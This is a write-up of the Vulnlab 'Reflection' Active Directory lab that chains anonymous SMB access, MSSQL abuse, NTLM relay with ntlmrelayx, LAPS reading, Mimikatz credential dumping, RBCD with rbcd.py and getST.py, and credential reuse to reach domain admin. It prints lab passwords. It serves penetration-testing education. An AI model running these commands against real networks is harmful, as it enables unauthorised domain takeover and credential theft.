Introduction

Reflection is a medium difficulty Active Directory chain on the Vulnlab’s platform, consisting of 3 machines: DC01, MS01, and WS01. This chain consists of a variety of realistic internal network penetration testing attack vectors and was incredibly enjoyable. The types of attack vectors required for successful exploitation include anonymous SMB bind abuse, MSSQL abuse, NTLM relay attacks, Windows Credential Vault harvesting, Resource-Based Constrained Delegation (RBCD), and finally credential reuse. While none of these attack vectors are particularly complex, the realism experienced when chaining them together in a believable and logical way was insanely rewarding.

Enumeration

DC01

From an nmap scan of DC01 we can confirm that it is in fact a domain controller. Most of the output is very standard, except for the fact that a MSSQL server is running on port 1433 and SMB signing is not enforced, potentially meaning an NTLM relay attack of some sort could be possible.

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-06-01 23:12:39Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: reflection.vl0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000
|_ssl-date: 2024-06-01T23:13:27+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-06-01T22:36:14
|_Not valid after:  2054-06-01T22:36:14
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: reflection.vl0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc01.reflection.vl
| Not valid before: 2024-05-31T22:33:21
|_Not valid after:  2024-11-30T22:33:21
|_ssl-date: 2024-06-01T23:13:26+00:00; +1s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  adws?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-time: 
|   date: 2024-06-01T23:13:25
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

MS01

The nmap scan of MS01 is also pretty standard, mainly telling us MSSQL is running on port 1433 just like the DC, and RDP on 3389 and WinRM on 5985 are both available for potentially remote control of the device if we gather user credentials.

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.192.246:1433: 
|     Target_Name: REFLECTION
|     NetBIOS_Domain_Name: REFLECTION
|     NetBIOS_Computer_Name: MS01
|     DNS_Domain_Name: reflection.vl
|     DNS_Computer_Name: ms01.reflection.vl
|     DNS_Tree_Name: reflection.vl
|_    Product_Version: 10.0.20348
|_ssl-date: 2024-06-01T22:54:44+00:00; +2s from scanner time.
| ms-sql-info: 
|   10.10.192.246:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-06-01T22:33:46
|_Not valid after:  2054-06-01T22:33:46
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=ms01.reflection.vl
| Not valid before: 2024-05-31T22:33:21
|_Not valid after:  2024-11-30T22:33:21
|_ssl-date: 2024-06-01T22:54:44+00:00; +2s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: REFLECTION
|   NetBIOS_Domain_Name: REFLECTION
|   NetBIOS_Computer_Name: MS01
|   DNS_Domain_Name: reflection.vl
|   DNS_Computer_Name: ms01.reflection.vl
|   DNS_Tree_Name: reflection.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2024-06-01T22:54:04+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-06-01T22:54:07
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 1s

WS01

Pretty much the same thing with WS01. The nmap scan looks pretty standard with RDP enabled being the only thing that stands out for the same reason as MS01.

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=ws01.reflection.vl
| Not valid before: 2024-05-31T22:35:52
|_Not valid after:  2024-11-30T22:35:52
| rdp-ntlm-info: 
|   Target_Name: REFLECTION
|   NetBIOS_Domain_Name: REFLECTION
|   NetBIOS_Computer_Name: WS01
|   DNS_Domain_Name: reflection.vl
|   DNS_Computer_Name: ws01.reflection.vl
|   DNS_Tree_Name: reflection.vl
|   Product_Version: 10.0.19041
|_  System_Time: 2024-06-01T23:37:04+00:00
|_ssl-date: 2024-06-01T23:37:44+00:00; +1s from scanner time.
5040/tcp open  unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-06-01T23:37:05
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

SMB Enumeration

After a generic nmap scan of each device, I began enumerating each devices SMB service, testing for anonymous access and null bindings. Weirdly enough, Netexec didn’t have permissions to display the SMB shares anonymously, but smbclient was able to.

image

In the staging share I then found database credentials, likely for the MSSQL service on MS01.

image

Next I tested the credentials and authenticated to MS01’s MSSQL service.

image

MSSQL And The Power Of SMB Signing

Now that we’ve fully authenticated to the MSSQL service, I’ve had the name of the chain: “Reflection” and the fitting fact that signing is disabled on the DC in the back of my head the whole time. I’ve known that some sort of relay attack was going to be required since the beginning, but I wasn’t super sure when.

When enumerating the MSSQL database, I found some testing dev accounts, but when trying them on the domain they were invalid, leading me to realize that I could xp_dirtree to send my attacker host NTLM authentication and relay it to the DC to potentially read SMB share information.

First I set up a relay server with ntlmrelayx:

ntlmrelayx.py -t dc01.reflection.vl -smb2support -i 

Then I sent the authentication request

image

Looking back at the relay server, we’ve received authentication and successfully relayed those credentials to the DC

image

Now we can use netcat to interact with the SMB service on the DC. There appears to be a production share, with another DB configuration file inside.

image

image

We once again find credentials for the MSSQL service, this time on the DC

image

After we ensure we can successfully authenticate, looking around yields us some users, and as this is a production database its assumed these users are active domain users

image

image

Credentialed Domain Enumeration

After confirming through a tool such as Netexec that these users are truly domain users, we can then use their access to launch a bloodhound scan.

bloodhound-python -u abbie.smith@reflection.vl -p 'CMe1x+nlRaaWEw' -ns 10.10.192.245 -c All --zip 

One of the major things that I note is that our current user abbie.smith has generic write over MS01

image

MS01 Initial Access

The very first thing which comes to mind is modifying the msDS-AllowedToActOnBehalfOfOtherIdentity to takeover the device, otherwise known as Resource-Based Constrained Delegation (RBCD), but unfortunately RBCD requires an SPN to carry out the full attack, usually a computer account, which I don’t have access to.

I decided to make a bold assumption and guess that the Local Administrator Password Solution (LAPS) is enabled on this domain, and was able to read the local administrator password through the GenericAll permission with Netexec through the abbie.smith account.

image

When checking our local administrator credentials against MS01 with wmiexec we successfully authenticate

image

MS01 Post Exploitation

I knew that I had to use some aspect of MS01 to pivot to the other machines in the chain, so my immediate thought was credential harvesting using tools like Mimikatz. Dumping LSASS and SAM provided me with no further credentials. Although I did end up noticing a scheduled task being executed as the Georgia.Price user. This means their credentials would be stored in the Windows Credential Vault, which can also be dumped with Mimikatz.

image

Using these credentials with bloodhound conveniently shows that Georgia.Price has GenericAll over the second device in the chain, WS01.

image

WS01 Initial Access

The very first thing I attempted was reading the LAPS password on WS01 using Georgia.Price’s credentials, unfortunately, LAPS was not configured on WS01. No matter, because we can utilize the computer account of MS01 that we compromised (A SPN) to exploit Resource-Based Constrained Delegation (RBCD) on WS01.

First write the msDs-AllowedToActOnBehalfOfOtherIdentity LDAP attribute using rbcd.py

rbcd.py -delegate-from 'MS01$' -delegate-to 'WS01$' -dc-ip '10.10.147.85' -action 'write' 'reflection.vl'/'Georgia.Price':'DBl+5MPkpJg5id'

image

Next we have to request a service ticket while impersonating Administrator with getST.py

getST.py -spn 'cifs/ws01.reflection.vl' -impersonate Administrator -dc-ip '10.10.147.85' -hashes :<MS01 NT hash> 'reflection.vl/MS01$'

image

Now we use this ticket to authenticate with Netexec.

image

WS01 Post Exploitation

When quickly dumping LSA secrets from WS01, we find a new users credentials stored: Rhys.Garner

image

Getting Domain Admin

This user didn’t have any special domain privileges or anything leading to full domain compromise unfortunately, so I kept looking into credential harvesting on WS01 for a long time yielding nothing. After a while I started looking at general domain information again to try and see anything I might have missed before. That’s when I noticed the domain admin user, dom_rgarner again. For a while I wasn’t sure exactly what this naming convention meant, then I started looking at it in the context of the just compromised Rhys.Garner user.

I realized the dom prefix was short for domain, indicating the span of user privilege, and rgarner being a [firstletter][lastname] format for the Rhys.Garner user. Just out of desperation I tested the underprivileged account credentials on Rhys’s Administrator account and they worked! Rhys had reused their credentials.

image